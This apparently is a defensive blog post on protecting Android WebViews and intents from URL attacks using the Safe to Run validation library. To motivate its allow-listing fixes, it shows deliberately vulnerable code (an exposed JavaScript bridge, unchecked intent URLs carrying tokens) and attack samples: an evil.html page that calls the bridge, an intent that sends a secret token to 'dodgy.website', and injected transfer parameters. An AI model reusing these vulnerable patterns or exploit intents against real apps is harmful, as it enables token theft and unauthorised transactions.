Secure against URLs attacks on Android

For full documentation on safe to run URL validation:

https://safetorun.github.io/safe_to_run/docs/verifyurls

Risks & Mitigations

The risk from URLs are often subtle and hard to conclusively solve — the risks are prevalent any time that web connections or web pages are loaded from a source outside of your control. Let’s look at a few examples

Javascript bridges

A particularly nasty problem can arise when you are exposing native code through javascript bridges. Often, the implementation is safe when you are in control of the website which is able to call the native bridge, but issues arise when a user or an attacker is able to expose that same bridge to third party websites.

Let’s take a sample.

For the activity:

webViewSample.webViewClient = WebViewClientSample()
webViewSample.settings.javaScriptEnabled = true
webViewSample.addJavascriptInterface(this@WebViewSample, "app")


@JavascriptInterface
fun executeFunction() {
logVerbose("Executed function. Imagine this was sensitive..")
}

Imagine this webpage (index.html):

<input id="redirectUrl"/>
<button onclick="redirectMe()">Redirect</button>

<script>
function redirectMe() {
window.location = document.getElementById("redirectUrl").value;
}
</script>

And then imagine that we were able to redirect to this one… evil.html

<html>
<p>Uh ok..</p>
<button onclick="app.executeFunction()">Click me to prove my point..</button>
</html>

If the page is redirected to evil.html, then the sensitive function is available to a 3rd party website. Let’s now see how we can adapt this sample to prevent 3rd party websites from being loaded in the webview. If we set the WebView client:

class WebViewClientSample : WebViewClient() {
override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
val result = request?.url?.toString()?.urlVerification {
"mysafehost.com
".allowHost()
}

return if (result == true) {
super.shouldOverrideUrlLoading(view, request)
} else {
true
}
}
}

Now, if we try to navigate to a 3rd party website, the URL loading will fail

Use urlVerification {} to prevent 3rd party websites from being loaded, by whitelisting hosts

Sample:

Unchecked intents

Another cause of vulnerabilities in applications is the ability of other applications on device to send data which is loaded by your application.

Take the following example:

intent?.extras?.getString("url")
?.let { "${it}?sensitive_token=pleasekeepmesecret" }
?.let(webView::loadUrl)

An attack on this is fairly straight forward if the intent is not checked; an attacker sending an intent that looks like this would be able to see and steal sensitive tokens:

Intent("com.andro.secure.webview")
.apply { putExtra("url", "http://dodgy.website/") }
.run { startActivity(this) }

Another example might be something like this:

val url = "https://safetorun.com?" + intent?.extras?.getString("parameters")val urlConnection = url.openConnection()urlConnection.addRequestProperty("Authorization", "Bearer $AuthToken")

You might find then, that (depending on the backend implementation) we could exploit the application with something like this:

Intent("com.andro.secure.webview")
.apply { putExtra("parameters", transfer_amount=1000000&transfer_to=mrevil") }
.run { startActivity(this) }

The mitigation will depend on what you really want to happen — for example, there’s probably never a reason why a third party website should be sent your sensitive_token or the authorization header, so your mitigation could look like this:

val url = intent?.extras?.getString("url")
val isUrlOk = url?.urlVerification {
"safetorun.com".allowHost()
}

if (isUrlOk != true) {
throw RuntimeException("Failed validation!!")
}

However, for our second example you might just want to stop the parameters being sent — in which case you could do something like this:

val url = intent?.extras?.getString("url")
val isUrlOk = url?.urlVerification {
"safetorun.com".allowHost()
allowParameter {
allowedType = AllowedType.String
parameterName = "allowed_parameter"
}
}

if (isUrlOk != true) {
throw RuntimeException("Failed validation!!")
}

Which will fail if our exploit code is sent to the application.

Conclusions

There are a number of attacks which are possible — but which can be mitigated using safe to run by carefully considering what is a valid URL, what are valid parameters — and then allowing anything else to be prevented from running.

--

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

ListWheelScrollView in Flutter

Google developers course: Android basics in Kotlin (Part 5 Theme)

Jetpack Proto DataStore with Kotlin generated classes for Proto schema

Practical guide to Dagger 2

Advanced Usage of WorkManager in multi-process apps

How to play DRM content on ExoPlayer?

Remote Push notifications with react native on Android

Navigate with Named Routes in Flutter

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Daniel Llewellyn

Daniel Llewellyn

More from Medium

Beetlebug — A Vulnerable Android CTF App

Firebase Remote Config for app updates in Android

Implementing TLS Certificate Checking in Android Apps

Intermediate: Schedule Alarm in HMS Based Android App